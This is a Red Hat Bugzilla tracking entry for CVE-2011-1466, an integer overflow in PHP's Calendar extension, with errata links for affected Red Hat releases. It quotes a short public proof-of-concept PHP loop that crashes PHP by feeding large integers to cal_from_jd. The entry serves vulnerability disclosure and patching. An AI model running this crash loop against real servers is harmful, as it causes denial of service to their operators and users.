Bug 689386 (CVE-2011-1466) - CVE-2011-1466 php: Crash by converting serial day numbers (SDN) into Julian calendar
Summary: CVE-2011-1466 php: Crash by converting serial day numbers (SDN) into Julian c...
Keywords:
Status: CLOSED ERRATA
Alias: CVE-2011-1466
Product: Security Response
Classification: Other
Component: vulnerability
Version: unspecified
Hardware: All
OS: Linux
low
low
Target Milestone: ---
Assignee: Red Hat Product Security
QA Contact: David Kutálek
URL:
Whiteboard:
Depends On: 740731 740732 740733 740734 768025 769756 769761 831135
Blocks: 715030 750552
TreeView+ depends on / blocked
 
Reported: 2011-03-21 10:05 UTC by Jan Lieskovsky
Modified: 2019-09-29 12:43 UTC (History)
5 users (show)

Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Clone Of:
Environment:
Last Closed: 2012-01-30 18:46:05 UTC


Attachments (Terms of Use)


Links
System ID Priority Status Summary Last Updated
Red Hat Product Errata RHSA-2011:1423 normal SHIPPED_LIVE Moderate: php53 and php security update 2011-11-02 22:24:16 UTC
Red Hat Product Errata RHSA-2012:0033 normal SHIPPED_LIVE Moderate: php security update 2012-01-18 23:40:02 UTC
Red Hat Product Errata RHSA-2012:0071 normal SHIPPED_LIVE Moderate: php security update 2012-01-30 23:17:22 UTC

Description Jan Lieskovsky 2011-03-21 10:05:32 UTC
Common Vulnerabilities and Exposures assigned an identifier CVE-2011-1466 to
the following vulnerability:

Integer overflow in the SdnToJulian function in the Calendar extension
in PHP before 5.3.6 allows context-dependent attackers to cause a
denial of service (application crash) via a large integer in the first
argument to the cal_from_jd function.

References:
[1] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1466
[2] http://bugs.php.net/bug.php?id=53574
[3] http://www.php.net/ChangeLog-5.php

Upstream patch:
[4] http://svn.php.net/viewvc/?view=revision&revision=306475

Public PoC (from [2]):
======================
<?php
for(;;) {
    $x = rand(0, 2147483640);
    echo "$x\n";
    $dummy = cal_from_jd($x,0);
    $dummy = cal_from_jd($x,1);
}
?>

Comment 1 Jan Lieskovsky 2011-03-21 10:10:00 UTC
This issue affects the versions of the php package, as shipped with
Red Hat Enterprise Linux 4, 5, and 6.

This issue affects the version of the php53 package, as shipped with
Red Hat Enterprise Linux 5.

--

This issue affects the versions of the php package, as shipped with
Fedora release of 13 and 14.

Comment 8 errata-xmlrpc 2011-11-02 22:24:28 UTC
This issue has been addressed in following products:

  Red Hat Enterprise Linux 5
  Red Hat Enterprise Linux 6

Via RHSA-2011:1423 https://rhn.redhat.com/errata/RHSA-2011-1423.html

Comment 9 Vincent Danen 2011-11-02 23:02:44 UTC
Statement:

(none)

Comment 12 Huzaifa S. Sidhpurwala 2012-01-17 04:06:25 UTC
This issue did not affect the version of php as shipped with Fedora 15 and Fedora 16.

Comment 13 errata-xmlrpc 2012-01-18 18:44:47 UTC
This issue has been addressed in following products:

  Red Hat Enterprise Linux 5

Via RHSA-2012:0033 https://rhn.redhat.com/errata/RHSA-2012-0033.html

Comment 14 errata-xmlrpc 2012-01-30 18:18:32 UTC
This issue has been addressed in following products:

  Red Hat Enterprise Linux 4

Via RHSA-2012:0071 https://rhn.redhat.com/errata/RHSA-2012-0071.html


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